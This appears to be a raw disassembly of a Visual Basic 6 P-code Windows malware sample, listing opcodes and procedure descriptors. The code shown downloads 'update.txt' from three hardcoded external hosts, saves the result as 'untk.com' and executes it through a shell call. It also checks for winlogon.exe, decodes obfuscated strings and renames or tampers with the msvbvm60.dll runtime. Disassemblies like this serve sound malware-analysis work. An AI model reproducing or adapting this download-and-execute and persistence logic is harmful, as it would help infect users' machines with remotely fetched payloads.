0040e0f0ILdRf var_168
0040e0f3FLdRfVar var_8C
0040e0f6CStr2Uni
0040e0f8ILdRf var_16C
0040e0fbLitI4 -1
0040e100EqI4
0040e101FFree1Str var_168
0040e104BranchF 0x40e108
0040e107ExitProcI2
0040e108
0040e108loc_40e108:
0040e108LitI2_Byte -1
0040e10aFStI2 -134
0040e10dExitProcI2
0040dfcc

0040e10e
0040e10e struct PCodePad
0040e10e ff ff ..
0040e110
0040e110 struct ProcDscInfo
0040e110 lpObjectInfo uint32 0x404b14
0040e114 wArgSize int 8
0040e116 wFrameSize int 232
0040e118 wPCodeBackOffset uint16 0x40dfcc
0040e11a wTotalSize uint16 0x002c
0040e11c wProcOptFlags uint16 0x0000
0040e11e wReserved uint16 0x0000
0040e120 wBosSkipTableOff uint16 0x0000
0040e122 wBaseIfaceSlot uint16 0x0013
0040e124 wReserved2 uint16 0x0000
0040e126 wReserved3 uint16 0x0000
0040e128
0040e128 14 00 00 00 00 00 02 00 ........
0040e130 00 00 00 00 70 ff 01 00 74 ff 01 00 2c 00 00 00 ....p...t...,...
0040e140 00 00 08 00 00 00 00 00 98 fe 01 00 3c ff 02 00 ............<...
0040e150 2c ff 02 00 0c ff 02 00 dc fe 02 00 cc fe 02 00 ,...............
0040e160 ac fe 02 00 9c fe 02 00 ........

0040e168
0040e168fn_40e168:
0040e168ILdRf arg_C
0040e16bFStStrCopy var_8C
0040e16eImpAdCallI2 pool#17, 0
0040e173BranchF 0x40e2b7
0040e176New 18
0040e17aFStAdFunc var_88
0040e17dILdRf var_8C
0040e180FLdRfVar var_B8
0040e183CStr2Ansi
0040e184ILdRf var_B8
0040e187ImpAdCallI2 fn_406fe4, 4
0040e18cFStR4 65348
0040e18fSetLastSystemError
0040e190ILdRf var_B8
0040e193FLdRfVar var_8C
0040e196CStr2Uni
0040e198ILdRf var_BC
0040e19bFStR4 65392
0040e19eFFree1Str var_B8
0040e1a1ILdRf var_90
0040e1a4LitI4 0
0040e1a9EqI4
0040e1aaBranchF 0x40e1b3
0040e1adImpAdCallFPR4 pool#20, 0
0040e1b2ExitProc
0040e1b3
0040e1b3loc_40e1b3:
0040e1b3LitI4 16
0040e1b8ILdRf var_90
0040e1bbFLdRfVar var_A0
0040e1beImpAdCallFPR4 fn_407070, 12
0040e1c3SetLastSystemError
0040e1c4LitI4 4
0040e1c9ILdRf var_94
0040e1ccFLdRfVar var_A4
0040e1cfImpAdCallFPR4 fn_407070, 12
0040e1d4SetLastSystemError
0040e1d5
0040e1d5loc_40e1d5:
0040e1d5LitI4 1
0040e1daFLdI2 var_96
0040e1ddCI4UI1
0040e1deFLdRfVar var_A8
0040e1e1Redim 1, 17, 1, 128
0040e1ebFLdI2 var_96
0040e1eeCI4UI1
0040e1efILdRf var_A4
0040e1f2LitI4 1
0040e1f7ILdRf var_A8
0040e1faAryLock 65344
0040e1fdAry1LdRf
0040e1feImpAdCallFPR4 fn_407070, 12
0040e203SetLastSystemError
0040e204AryUnlock 65344
0040e207LitI2_Byte 1
0040e209FLdRfVar var_AA
0040e20cFLdI2 var_96
0040e20fForI2 65340, 216
0040e215ILdRf var_B0
0040e218FLdI2 var_AA
0040e21bCI4UI1
0040e21cILdRf var_A8
0040e21fAry1LdUI1
0040e221CStrI2
0040e223FStStrNoPop var_B8
0040e226ConcatStr
0040e227FStStrNoPop var_C8
0040e22aLitStr "."
0040e22dConcatStr
0040e22eFStStr var_B0
0040e231FFreeStr var_B8, var_C8
0040e238FLdRfVar var_AA
0040e23bNextI2 65340, 173
0040e240ILdRf var_B0
0040e243FnLenStr
0040e244LitI4 1
0040e249SubI4
0040e24aCVarI4 var_E8
0040e24eLitI4 1
0040e253ILdRf var_B0
0040e256ImpAdCallI2 rtcMidCharBstr, 12
0040e25bFStStr var_B0
0040e25eFFree1Var var_E8
0040e261LitVar_Missing var_138
0040e264LitVar_Missing var_118
0040e267LitVar_Missing var_E8
0040e26aFLdRfVar var_B0
0040e26dCVarRef 65320, 16392
0040e272FLdPr var_88
0040e275VCallHresult 32, 23
0040e27aFFreeVar var_E8, var_118, var_138
0040e283LitStr ""
0040e286FStStrCopy var_B0
0040e289ILdRf var_94
0040e28cLitI4 4
0040e291AddI4
0040e292FStR4 65388
0040e295LitI4 4
0040e29aILdRf var_94
0040e29dFLdRfVar var_A4
0040e2a0ImpAdCallFPR4 fn_407070, 12
0040e2a5SetLastSystemError
0040e2a6ILdRf var_A4
0040e2a9LitI4 0
0040e2aeNeI4
0040e2afBranchT 0x40e1d5
0040e2b2ImpAdCallFPR4 pool#20, 0
0040e2b7
0040e2b7loc_40e2b7:
0040e2b7ExitProc
0040e168

0040e2b8
0040e2b8 struct ProcDscInfo
0040e2b8 lpObjectInfo uint32 0x404b14
0040e2bc wArgSize int 8
0040e2be wFrameSize int 180
0040e2c0 wPCodeBackOffset uint16 0x40e168
0040e2c2 wTotalSize uint16 0x003c
0040e2c4 wProcOptFlags uint16 0x0000
0040e2c6 wReserved uint16 0x0000
0040e2c8 wBosSkipTableOff uint16 0x0000
0040e2ca wBaseIfaceSlot uint16 0x0013
0040e2cc wReserved2 uint16 0x0000
0040e2ce wReserved3 uint16 0x0000
0040e2d0
0040e2d0 22 00 00 00 00 00 04 00 00 00 00 01 78 ff 03 00 "...........x...
0040e2e0 50 ff 01 00 74 ff 01 00 58 ff 05 01 b7 04 b7 00 P...t...X.......
0040e2f0 00 00 0b 00 24 00 00 00 00 00 06 00 00 00 00 00 ....$...........
0040e300 40 ff 06 00 48 ff 01 00 38 ff 01 00 18 ff 02 00 @...H...8.......
0040e310 e8 fe 02 00 c8 fe 02 00 ........

0040e318
0040e318fn_40e318:
0040e318LitI4 128
0040e31dImpAdCallI2 rtcSpaceBstr, 4
0040e322FStStr var_90
0040e325LitI4 128
0040e32aILdRf var_90
0040e32dFLdRfVar var_9C
0040e330CStr2Ansi
0040e331ILdRf var_9C
0040e334ILdRf arg_C
0040e337ImpAdCallI2 fn_406160, 12
0040e33cFStR4 65376
0040e33fSetLastSystemError
0040e340ILdRf var_9C
0040e343FLdRfVar var_90
0040e346CStr2Uni
0040e348ILdRf var_A0
0040e34bFStR4 65396
0040e34eFFree1Str var_9C
0040e351ILdRf var_8C
0040e354LitI4 0
0040e359GtI4
0040e35aBranchF 0x40e45d
0040e35dILdRf var_8C
0040e360ILdRf var_90
0040e363ImpAdCallI2 rtcLeftCharBstr, 8
0040e368FStStr var_90
0040e36bILdRf arg_10
0040e36eLitI4 0
0040e373EqI4
0040e374BranchF 0x40e391
0040e377FLdRfVar var_90
0040e37aCVarRef 65360, 16392
0040e37fFLdRfVar var_C0
0040e382ImpAdCallFPR4 rtcUpperCaseVar, 8
0040e387FLdRfVar var_C0
0040e38aCStrVarTmp
0040e38bFStStr var_90
0040e38eFFree1Var var_C0
0040e391
0040e391loc_40e391:
0040e391FLdRfVar var_9C
0040e394FLdRfVar var_C4
0040e397ImpAdLdRf pool#20
0040e39aNewIfNullPr 21
0040e39dVCallHresult 20, 22
0040e3a2FLdPr var_C4
0040e3a5VCallHresult 88, 23
0040e3aaILdRf var_9C
0040e3adLitStr ".exe"
0040e3b0ConcatStr
0040e3b1CVarStr var_C0
0040e3b4FLdRfVar var_D4
0040e3b7ImpAdCallFPR4 rtcUpperCaseVar, 8
0040e3bcFLdRfVar var_D4
0040e3bfLitVarStr var_B0, "winlogon.exe"
0040e3c4FStVarCopyObj var_E4
0040e3c7FLdRfVar var_E4
0040e3caFLdRfVar var_F4
0040e3cdImpAdCallFPR4 rtcUpperCaseVar, 8
0040e3d2FLdRfVar var_F4
0040e3d5EqVarBool
0040e3d7FFree1Str var_9C
0040e3daFFree1Ad var_C4
0040e3ddFFreeVar var_C0, var_E4, var_D4, var_F4
0040e3e8BranchF 0x40e43f
0040e3ebFLdRfVar var_90
0040e3eeFLdRfVar var_C0
0040e3f1ImpAdCallFPR4 pool#26, 8
0040e3f6FFree1Var var_C0
0040e3f9ImpAdLdI2 pool#27
0040e3fcLitI2_Byte -1
0040e3feEqI2
0040e3ffBranchF 0x40e435
0040e402ILdRf var_90
0040e405ImpAdLdRf pool#28
0040e408NewIfNullPr 29
0040e40bVCallAd 768
0040e40eFStAdFunc var_C4
0040e411FLdPr var_C4
0040e414VCallHresult 164, 30
0040e419FFree1Ad var_C4
0040e41cLitI2_Byte 0
0040e41eImpAdStI2 pool#27
0040e421ILdRf arg_C
0040e424FMemStI4 arg_8, 316
0040e429LitI4 0
0040e42eFStR4 65400
0040e431ExitProc
0040e432Branch 0x40e43f
0040e435
0040e435loc_40e435:
0040e435LitI4 0
0040e43aFMemStI4 arg_8, 316
0040e43f
0040e43floc_40e43f:
0040e43fILdRf var_90
0040e442FMemLdR4 arg_8, 312
0040e447LikeStr
0040e449BranchF 0x40e45d
0040e44cILdRf arg_C
0040e44fFMemStI4 arg_8, 316
0040e454LitI4 0
0040e459FStR4 65400
0040e45cExitProc
0040e45d
0040e45dloc_40e45d:
0040e45dLitI4 1
0040e462FStR4 65400
0040e465ExitProc
0040e318

0040e466
0040e466 struct PCodePad
0040e466 0a 0c ..
0040e468
0040e468 struct ProcDscInfo
0040e468 lpObjectInfo uint32 0x403ff0
0040e46c wArgSize int 12
0040e46e wFrameSize int 128
0040e470 wPCodeBackOffset uint16 0x40e318
0040e472 wTotalSize uint16 0x003c
0040e474 wProcOptFlags uint16 0x0000
0040e476 wReserved uint16 0x0000
0040e478 wBosSkipTableOff uint16 0x0000
0040e47a wBaseIfaceSlot uint16 0x0013
0040e47c wReserved2 uint16 0x0000
0040e47e wReserved3 uint16 0x0000
0040e480
0040e480 24 00 00 00 02 00 03 00 00 00 00 00 70 ff 01 00 $...........p...
0040e490 6c ff 04 00 fc fe f4 ff ff 00 68 ff 04 00 08 00 l.........h.....
0040e4a0 44 ec ff 00 28 00 00 00 00 00 07 00 00 00 00 00 D...(...........
0040e4b0 64 ff 01 00 3c ff 03 00 40 ff 02 00 2c ff 02 00 d...<...@...,...
0040e4c0 1c ff 02 00 0c ff 02 00 fc fe 02 00 ............

0040e4cc
0040e4ccFrmMain.SelamatkanMsVb:
0040e4ccLargeBos 4
0040e4ceZeroRetValVar
0040e4d0LargeBos 5
0040e4d2OnErrorGoto 65535
0040e4d5LargeBos 65
0040e4d7ImpAdLdRf pool#12
0040e4daLitVarStr var_A4, "Uzpz}ldUdz\x7fk\x7fd?9'mee"
0040e4dfFStVarCopyObj var_B4
0040e4e2FLdRfVar var_B4
0040e4e5ImpAdCallI2 pool#40, 4
0040e4eaCVarStr var_C4
0040e4edConcatVar var_D4
0040e4f1CStrVarTmp
0040e4f2PopTmpLdAdStr 65316
0040e4f6ImpAdLdI4 pool#14
0040e4f9LitStr "\\msvbvm60.dll"
0040e4fcConcatStr
0040e4fdPopTmpLdAdStr 65320
0040e501ImpAdCallFPR4 pool#63, 8
0040e506FFreeStr var_D8, var_DC
0040e50dFFreeVar var_B4, var_C4, var_D4
0040e516LargeBos 39
0040e518LitI4 6
0040e51dImpAdLdI4 pool#14
0040e520LitStr "\\msvbvm60.dll"
0040e523ConcatStr
0040e524CVarStr var_B4
0040e527ImpAdCallI2 rtcDir, 8
0040e52cFStStrNoPop var_D8
0040e52fLitStr ""
0040e532EqStr
0040e534FFree1Str var_D8
0040e537FFree1Var var_B4
0040e53aBranchF 0x40e586
0040e53dLargeBos 73
0040e53fLitVarStr var_A4, "Uzpz}ldUdz\x7fk\x7fd?9'mee"
0040e544FStVarCopyObj var_B4
0040e547FLdRfVar var_B4
0040e54aImpAdCallI2 pool#40, 4
0040e54fFStStr var_E0
0040e552ImpAdLdI4 pool#14
0040e555LitStr "\\msvbvm60.dll"
0040e558ConcatStr
0040e559PopTmpLdAdStr 65316
0040e55dImpAdLdRf pool#12
0040e560FLdZeroAd var_E0
0040e563CVarStr var_C4
0040e566ConcatVar var_D4
0040e56aCStrVarTmp
0040e56bPopTmpLdAdStr 65320
0040e56fImpAdCallFPR4 pool#63, 8
0040e574FFreeStr var_D8, var_DC, var_E0
0040e57dFFreeVar var_B4, var_C4, var_D4
0040e586
0040e586loc_40e586:
0040e586LargeBos 158
0040e588ImpAdLdI4 pool#14
0040e58bLitVarStr var_A4, "UDZ^@GZJB'fjq"
0040e590FStVarCopyObj var_B4
0040e593FLdRfVar var_B4
0040e596ImpAdCallI2 pool#40, 4
0040e59bFStStrNoPop var_D8
0040e59eConcatStr
0040e59fFStStrNoPop var_118
0040e5a2ImpAdLdI4 pool#14
0040e5a5LitVarStr var_F0, "UDZ^@GZJB'fjq"
0040e5aaFStVarCopyObj var_C4
0040e5adFLdRfVar var_C4
0040e5b0ImpAdCallI2 pool#40, 4
0040e5b5FStStrNoPop var_DC
0040e5b8ConcatStr
0040e5b9FStStrNoPop var_E0
0040e5bcLitI2_Byte 9
0040e5bePopTmpLdAd2 65292
0040e5c1LitI2_Byte 0
0040e5c3PopTmpLdAd2 65294
0040e5c6ImpAdCallI2 pool#19, 8
0040e5cbCStrUI1
0040e5cdFStStrNoPop var_F8
0040e5d0ConcatStr
0040e5d1FStStrNoPop var_100
0040e5d4LitI2_Byte 9
0040e5d6PopTmpLdAd2 65284
0040e5d9LitI2_Byte 0
0040e5dbPopTmpLdAd2 65286
0040e5deImpAdCallI2 pool#19, 8
0040e5e3CStrUI1
0040e5e5FStStrNoPop var_104
0040e5e8ConcatStr
0040e5e9FStStrNoPop var_10C
0040e5ecLitI2_Byte 9
0040e5eePopTmpLdAd2 65272
0040e5f1LitI2_Byte 0
0040e5f3PopTmpLdAd2 65274
0040e5f6ImpAdCallI2 pool#19, 8
0040e5fbCStrUI1
0040e5fdFStStrNoPop var_110
0040e600ConcatStr
0040e601FStStrNoPop var_114
0040e604NameFile
0040e606FFreeStr var_D8, var_DC, var_E0, var_F8, var_100, var_104, var_10C, var_110, var_114, var_118
0040e61dFFreeVar var_B4, var_C4
0040e624LargeBos 0
0040e626ExitProcCbHresult 0x10000c
0040e4cc

0040e62c
0040e62c struct ProcDscInfo
0040e62c lpObjectInfo uint32 0x405168
0040e630 wArgSize int 8
0040e632 wFrameSize int 148
0040e634 wPCodeBackOffset uint16 0x40e4cc
0040e636 wTotalSize uint16 0x0028
0040e638 wProcOptFlags uint16 0x0000
0040e63a wReserved uint16 0x0000
0040e63c wBosSkipTableOff uint16 0x0000
0040e63e wBaseIfaceSlot uint16 0x0013
0040e640 wReserved2 uint16 0x0000
0040e642 wReserved3 uint16 0x0000
0040e644
0040e644 10 00 00 00 00 00 01 00 00 00 00 01 ............
0040e650 6c ff 02 00 40 00 00 00 00 00 0d 00 00 00 00 00 l...@...........
0040e660 28 ff 01 00 24 ff 01 00 20 ff 01 00 08 ff 01 00 (...$... .......
0040e670 00 ff 01 00 fc fe 01 00 f4 fe 01 00 f0 fe 01 00 ................
0040e680 ec fe 01 00 e8 fe 01 00 4c ff 02 00 3c ff 02 00 ........L...<...
0040e690 2c ff 02 00 ,...

0040e694
0040e694FrmMain.Timer3#0:
0040e694FLdRfVar var_94
0040e697ImpAdCallFPR4 pool#186, 4
0040e69cFFree1Var var_94
0040e69fFLdRfVar var_9C
0040e6a2FLdRfVar var_98
0040e6a5ImpAdLdRf pool#3
0040e6a8NewIfNullPr 4
0040e6abVCallHresult 20, 5
0040e6b0FLdPr var_98
0040e6b3VCallHresult 88, 6
0040e6b8ILdRf var_9C
0040e6bbLitStr ".exe"
0040e6beConcatStr
0040e6bfCVarStr var_94
0040e6c2FLdRfVar var_AC
0040e6c5ImpAdCallFPR4 rtcUpperCaseVar, 8
0040e6caFLdRfVar var_AC
0040e6cdLitVarStr var_BC, "winlogon.exe"
0040e6d2FStVarCopyObj var_CC
0040e6d5FLdRfVar var_CC
0040e6d8FLdRfVar var_DC
0040e6dbImpAdCallFPR4 rtcUpperCaseVar, 8
0040e6e0FLdRfVar var_DC
0040e6e3NeVarBool
0040e6e5FFree1Str var_9C
0040e6e8FFree1Ad var_98
0040e6ebFFreeVar var_94, var_CC, var_AC, var_DC
0040e6f6BranchF 0x40e6fe
0040e6f9ThisVCallHresult 1812, 25
0040e6fe
0040e6feloc_40e6fe:
0040e6feFLdRfVar var_9C
0040e701FLdRfVar var_98
0040e704ImpAdLdRf pool#3
0040e707NewIfNullPr 4
0040e70aVCallHresult 20, 5
0040e70fFLdPr var_98
0040e712VCallHresult 88, 6
0040e717ILdRf var_9C
0040e71aLitStr ".exe"
0040e71dConcatStr
0040e71eCVarStr var_94
0040e721FLdRfVar var_AC
0040e724ImpAdCallFPR4 rtcUpperCaseVar, 8
0040e729FLdRfVar var_AC
0040e72cLitVarStr var_BC, "winlogon.exe"
0040e731FStVarCopyObj var_CC
0040e734FLdRfVar var_CC
0040e737FLdRfVar var_DC
0040e73aImpAdCallFPR4 rtcUpperCaseVar, 8
0040e73fFLdRfVar var_DC
0040e742EqVar 65300
0040e746FLdRfVar var_F2
0040e749FLdPrThis
0040e74aVCallAd 776
0040e74dFStAdFunc var_F0
0040e750FLdPr var_F0
0040e753VCallHresult 88, 27
0040e758FLdI2 var_F2
0040e75bLitI2_Byte 0
0040e75dEqI2
0040e75eCVarBoolI2 65276
0040e762AndVar 65260
0040e766CBoolVarNull
0040e768FFree1Str var_9C
0040e76bFFreeAd var_98, var_F0
0040e772FFreeVar var_94, var_CC, var_AC, var_DC, var_104
0040e77fBranchF 0x40e819
0040e782LitVarI2 65348, 0
0040e787FStVar 65244
0040e78bImpAdCallI2 pool#187, 0
0040e790CVarI4 var_BC
0040e794FStVar 65244
0040e798FLdRfVar var_124
0040e79bLitVarI2 65348, 0
0040e7a0HardType
0040e7a1NeVarBool
0040e7a3BranchF 0x40e7bd
0040e7a6LitI2_Byte -1
0040e7a8FLdPrThis
0040e7a9VCallAd 772
0040e7acFStAdFunc var_98
0040e7afFLdPr var_98
0040e7b2VCallHresult 92, 27
0040e7b7FFree1Ad var_98
0040e7baBranch 0x40e819
0040e7bd
0040e7bdloc_40e7bd:
0040e7bdLitI2_Byte 0
0040e7bfFLdPrThis
0040e7c0VCallAd 772
0040e7c3FStAdFunc var_98
0040e7c6FLdPr var_98
0040e7c9VCallHresult 92, 27
0040e7ceFFree1Ad var_98
0040e7d1FLdRfVar var_9C
0040e7d4FLdPrThis
0040e7d5VCallAd 764
0040e7d8FStAdFunc var_98
0040e7dbFLdPr var_98
0040e7deVCallHresult 160, 188
0040e7e3ILdRf var_9C
0040e7e6LitStr ""
0040e7e9NeStr
0040e7ebFFree1Str var_9C
0040e7eeFFree1Ad var_98
0040e7f1BranchF 0x40e819
0040e7f4FLdRfVar var_94
0040e7f7ThisVCallHresult 1820, 25
0040e7fcFFree1Var var_94
0040e7ffImpAdCallFPR4 rtcDoEvents, 0
0040e804LitStr ""
0040e807FLdPrThis
0040e808VCallAd 764
0040e80bFStAdFunc var_98
0040e80eFLdPr var_98
0040e811VCallHresult 164, 188
0040e816FFree1Ad var_98
0040e819
0040e819loc_40e819:
0040e819ExitProcHresult
0040e694

0040e81a
0040e81a struct PCodePad
0040e81a 00 00 ..
0040e81c
0040e81c struct ProcDscInfo
0040e81c lpObjectInfo uint32 0x405168
0040e820 wArgSize int 4
0040e822 wFrameSize int 160
0040e824 wPCodeBackOffset uint16 0x40e694
0040e826 wTotalSize uint16 0x0028
0040e828 wProcOptFlags uint16 0x0000
0040e82a wReserved uint16 0x0000
0040e82c wBosSkipTableOff uint16 0x0000
0040e82e wBaseIfaceSlot uint16 0x0013
0040e830 wReserved2 uint16 0x0000
0040e832 wReserved3 uint16 0x0000
0040e834
0040e834 10 00 00 00 00 00 01 00 00 00 00 00 ............
0040e840 dc fe 02 00 30 00 00 00 00 00 09 00 00 00 00 00 ....0...........
0040e850 64 ff 01 00 68 ff 03 00 10 ff 03 00 6c ff 02 00 d...h.......l...
0040e860 54 ff 02 00 34 ff 02 00 24 ff 02 00 14 ff 02 00 T...4...$.......
0040e870 ec fe 02 00 ....

0040e874
0040e874fn_40e874:
0040e874LargeBos 2
0040e876LargeBos 5
0040e878OnErrorGoto 65535
0040e87bLargeBos 92
0040e87dLitI4 0
0040e882LitI4 2
0040e887FLdRfVar var_A4
0040e88aRedim 1, 0, 16, 2176
0040e894LitVarStr var_B4, "apasajalah.host.sk/update.txt"
0040e899LitI4 0
0040e89eILdRf var_A4
0040e8a1Ary1StVarCopy
0040e8a3LitVarStr var_C4, "yosef.netfast.org/update.txt"
0040e8a8LitI4 1
0040e8adILdRf var_A4
0040e8b0Ary1StVarCopy
0040e8b2LitVarStr var_D4, "friendster.netfast.org/Update.txt"
0040e8b7LitI4 2
0040e8bcILdRf var_A4
0040e8bfAry1StVarCopy
0040e8c1FLdRfVar var_A4
0040e8c4FLdRfVar var_E4
0040e8c7ImpAdCallFPR4 rtcArray, 8
0040e8ccFLdRfVar var_A4
0040e8cfErase
0040e8d0FLdRfVar var_E4
0040e8d3FStVar 65292
0040e8d7LargeBos 30
0040e8d9LitVarI2 65324, 0
0040e8deFLdRfVar var_104
0040e8e1FLdRfVar var_F4
0040e8e4CRefVarAry
0040e8e6PopAdLd4
0040e8e7LitI2_Byte 1
0040e8e9FnUBound
0040e8ebCVarI4 var_C4
0040e8efForVar 65244, 304
0040e8f5LargeBos 25
0040e8f7FLdRfVar var_104
0040e8faCDargRef 16396
0040e8feFLdRfVar var_F4
0040e901VarIndexLdVar 65308, 1
0040e907CStrVarTmp
0040e908FStStr var_A0
0040e90bFFree1Var var_E4
0040e90eLargeBos 21
0040e910ILdRf arg_10
0040e913LitI2_Byte -1
0040e915PopTmpLdAd2 65242
0040e918FLdRfVar var_A0
0040e91bImpAdCallI2 pool#4, 12
0040e920FStStr var_98
0040e923LargeBos 13
0040e925ILdRf var_98
0040e928LitStr ""
0040e92bNeStr
0040e92dBranchF 0x40e997
0040e930LargeBos 45
0040e932ILdRf var_98
0040e935FnLenStr
0040e936CVarI4 var_E4
0040e93aLitI4 2
0040e93fFLdRfVar var_98
0040e942CVarRef 65356, 16392
0040e947FLdRfVar var_138
0040e94aImpAdCallFPR4 rtcMidCharVar, 16
0040e94fFLdRfVar var_138
0040e952CStrVarTmp
0040e953FStStr var_98
0040e956FFreeVar var_E4, var_138
0040e95dLargeBos 13
0040e95fFLdRfVar var_98
0040e962ImpAdCallI2 pool#7, 4
0040e967FStStr var_98
0040e96aLargeBos 40
0040e96cImpAdLdRf pool#8
0040e96fLitVarStr var_B4, "\\untk.com"
0040e974ConcatVar var_E4
0040e978CStrVarTmp
0040e979PopTmpLdAdStr 65220
0040e97dFLdRfVar var_98
0040e980FLdRfVar var_138
0040e983ImpAdCallFPR4 pool#10, 12
0040e988FFree1Str var_13C
0040e98bFFreeVar var_E4, var_138
0040e992LargeBos 5
0040e994Branch 0x40e9a4
0040e997
0040e997loc_40e997:
0040e997LargeBos 2
0040e999LargeBos 11
0040e99bFLdRfVar var_104
0040e99eNextStepVar 65244, 129
0040e9a4
0040e9a4loc_40e9a4:
0040e9a4LargeBos 41
0040e9a6LitI4 0
0040e9abImpAdLdRf pool#8
0040e9aeLitVarStr var_B4, "\\untk.com"
0040e9b3ConcatVar var_E4
0040e9b7ImpAdCallI2 rtcDir, 8
0040e9bcFStStrNoPop var_13C
0040e9bfLitStr ""
0040e9c2NeStr
0040e9c4FFree1Str var_13C
0040e9c7FFree1Var var_E4
0040e9caBranchF 0x40e9f8
0040e9cdLargeBos 30
0040e9cfLitI4 0
0040e9d4ImpAdLdRf pool#8
0040e9d7LitVarStr var_B4, "\\untk.com"
0040e9dcConcatVar var_E4
0040e9e0ImpAdCallFPR4 rtcShell, 8
0040e9e5FStFPR8 65212
0040e9e8FFree1Var var_E4
0040e9ebLargeBos 13
0040e9edFLdRfVar var_E4
0040e9f0ImpAdCallFPR4 pool#13, 4
0040e9f5FFree1Var var_E4
0040e9f8
0040e9f8loc_40e9f8:
0040e9f8LargeBos 2
0040e9faLargeBos 0
0040e9fcExitProcCb 16
0040e874

0040ea00
0040ea00 struct ProcDscInfo
0040ea00 lpObjectInfo uint32 0x403aa0
0040ea04 wArgSize int 12
0040ea06 wFrameSize int 192
0040ea08 wPCodeBackOffset uint16 0x40e874
0040ea0a wTotalSize uint16 0x0040
0040ea0c wProcOptFlags uint16 0x0000
0040ea0e wReserved uint16 0x0000
0040ea10 wBosSkipTableOff uint16 0x0000
0040ea12 wBaseIfaceSlot uint16 0x0013
0040ea14 wReserved2 uint16 0x0000
0040ea16 wReserved3 uint16 0x0000
0040ea18
0040ea18 28 00 00 00 00 00 07 00 (.......
0040ea20 00 00 00 01 6c ff 02 00 ec fe 02 00 dc fe 02 00 ....l...........
0040ea30 fc fe 02 00 60 ff 01 00 68 ff 01 00 0c ff 02 00 ....`...h.......
0040ea40 22 00 00 00 00 00 04 00 00 00 00 00 c4 fe 01 00 "...............
0040ea50 1c ff 02 00 c8 fe 02 00 5c ff 05 01 00 00 00 00 ........\.......
0040ea60 02 00 00 00 ....

0040ea64
0040ea64fn_40ea64:
0040ea64LargeBos 2
0040ea66LargeBos 5
0040ea68OnErrorGoto 65535
0040ea6bLargeBos 7
0040ea6dLitI2_Byte 1
0040ea6fFStI2 -134
0040ea72LargeBos 56
0040ea74LitVar_Missing var_174
0040ea77LitVar_Missing var_154
0040ea7aLitVar_Missing var_134
0040ea7dLitVar_Missing var_114
0040ea80LitVar_Missing var_F4
0040ea83LitVar_Missing var_D4
0040ea86LitVarStr var_A4, "Please Enter The Password!"
0040ea8bFStVarCopyObj var_B4
0040ea8eFLdRfVar var_B4
0040ea91ImpAdCallI2 rtcInputBox, 28
0040ea96FStStr var_94
0040ea99FFreeVar var_B4, var_D4, var_F4, var_114, var_134, var_154, var_174
0040eaaaLargeBos 13
0040eaacILdRf var_94
0040eaafLitStr ""
0040eab2EqStr
0040eab4BranchF 0x40eaba
0040eab7LargeBos 3
0040eab9ExitProcI2
0040eaba
0040eabaloc_40eaba:
0040eabaLargeBos 16
0040eabcLitI2_Byte 0
0040eabeFLdRfVar var_8E
0040eac1LitI2 255
0040eac4ForI2 65160, 207
0040eacaLargeBos 29
0040eaccFLdI2 var_8E
0040eacfCI4UI1
0040ead0FMemLdRf arg_14, 0
0040ead5AryInRecLdPr 1, 1
0040eadbMemLdUI1 0
0040eadfCI2UI1
0040eae1LitI2_Byte 0
0040eae3EqI2
0040eae4BranchF 0x40eaef
0040eae7LargeBos 5
0040eae9Branch 0x40eb33
0040eaecBranch 0x40eb27
0040eaef
0040eaefloc_40eaef:
0040eaefLargeBos 2
0040eaf1LargeBos 54
0040eaf3ILdRf var_8C
0040eaf6CVarStr var_A4
0040eaf9FLdI2 var_8E
0040eafcCI4UI1
0040eafdFMemLdRf arg_14, 0
0040eb02AryInRecLdPr 1, 1
0040eb08MemLdUI1 0
0040eb0cCI4UI1
0040eb0dFLdRfVar var_B4
0040eb10ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040eb15FLdRfVar var_B4
0040eb18ConcatVar var_D4
0040eb1cCStrVarTmp
0040eb1dFStStr var_8C
0040eb20FFreeVar var_B4, var_D4
0040eb27
0040eb27loc_40eb27:
0040eb27LargeBos 2
0040eb29LargeBos 10
0040eb2bFLdRfVar var_8E
0040eb2eNextI2 65160, 102
0040eb33
0040eb33loc_40eb33:
0040eb33LargeBos 23
0040eb35LitI2_Byte 0
0040eb37FLdRfVar var_8E
0040eb3aILdRf arg_10
0040eb3dLitI4 1
0040eb42SubI4
0040eb43CI2I4
0040eb44ForI2 65156, 265
0040eb4aLargeBos 25
0040eb4cLitI2_Byte 0
0040eb4eCUI1I2
0040eb50FLdI2 var_8E
0040eb53CI4UI1
0040eb54FMemLdRf arg_C, 0
0040eb59AryInRecLdPr 1, 1
0040eb5fMemStUI1 0
0040eb63LargeBos 10
0040eb65FLdRfVar var_8E
0040eb68NextI2 65156, 230
0040eb6dLargeBos 24
0040eb6fLitI2_Byte 0
0040eb71FLdRfVar var_8E
0040eb74ILdRf var_94
0040eb77FnLenStr
0040eb78LitI4 1
0040eb7dSubI4
0040eb7eCI2I4
0040eb7fForI2 65152, 372
0040eb85LargeBos 73
0040eb87LitVarI2 65356, 1
0040eb8cFLdI2 var_8E
0040eb8fLitI2_Byte 1
0040eb91AddI2
0040eb92CI4UI1
0040eb93FLdRfVar var_94
0040eb96CVarRef 65372, 16392
0040eb9bFLdRfVar var_D4
0040eb9eImpAdCallFPR4 rtcMidCharVar, 16
0040eba3FLdRfVar var_D4
0040eba6CStrVarVal 65148
0040ebaaImpAdCallI2 rtcAnsiValueBstr, 4
0040ebafCUI1I2
0040ebb1FLdI2 var_8E
0040ebb4CI4UI1
0040ebb5FMemLdRf arg_C, 0
0040ebbaAryInRecLdPr 1, 1
0040ebc0MemStUI1 0
0040ebc4FFree1Str var_184
0040ebc7FFreeVar var_B4, var_D4
0040ebceLargeBos 10
0040ebd0FLdRfVar var_8E
0040ebd3NextI2 65152, 289
0040ebd8LargeBos 42
0040ebdaLitI4 0
0040ebdfFLdRfVar var_B4
0040ebe2ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040ebe7FLdRfVar var_B4
0040ebeaCUI1Var
0040ebecFLdI2 var_8E
0040ebefCI4UI1
0040ebf0FMemLdRf arg_C, 0
0040ebf5AryInRecLdPr 1, 1
0040ebfbMemStUI1 0
0040ebffFFree1Var var_B4
0040ec02LargeBos 7
0040ec04LitI2_Byte 0
0040ec06FStI2 -134
0040ec09LargeBos 0
0040ec0bExitProcI2
0040ea64

0040ec0c
0040ec0c struct ProcDscInfo
0040ec0c lpObjectInfo uint32 0x403c44
0040ec10 wArgSize int 20
0040ec12 wFrameSize int 256
0040ec14 wPCodeBackOffset uint16 0x40ea64
0040ec16 wTotalSize uint16 0x002c
0040ec18 wProcOptFlags uint16 0x0000
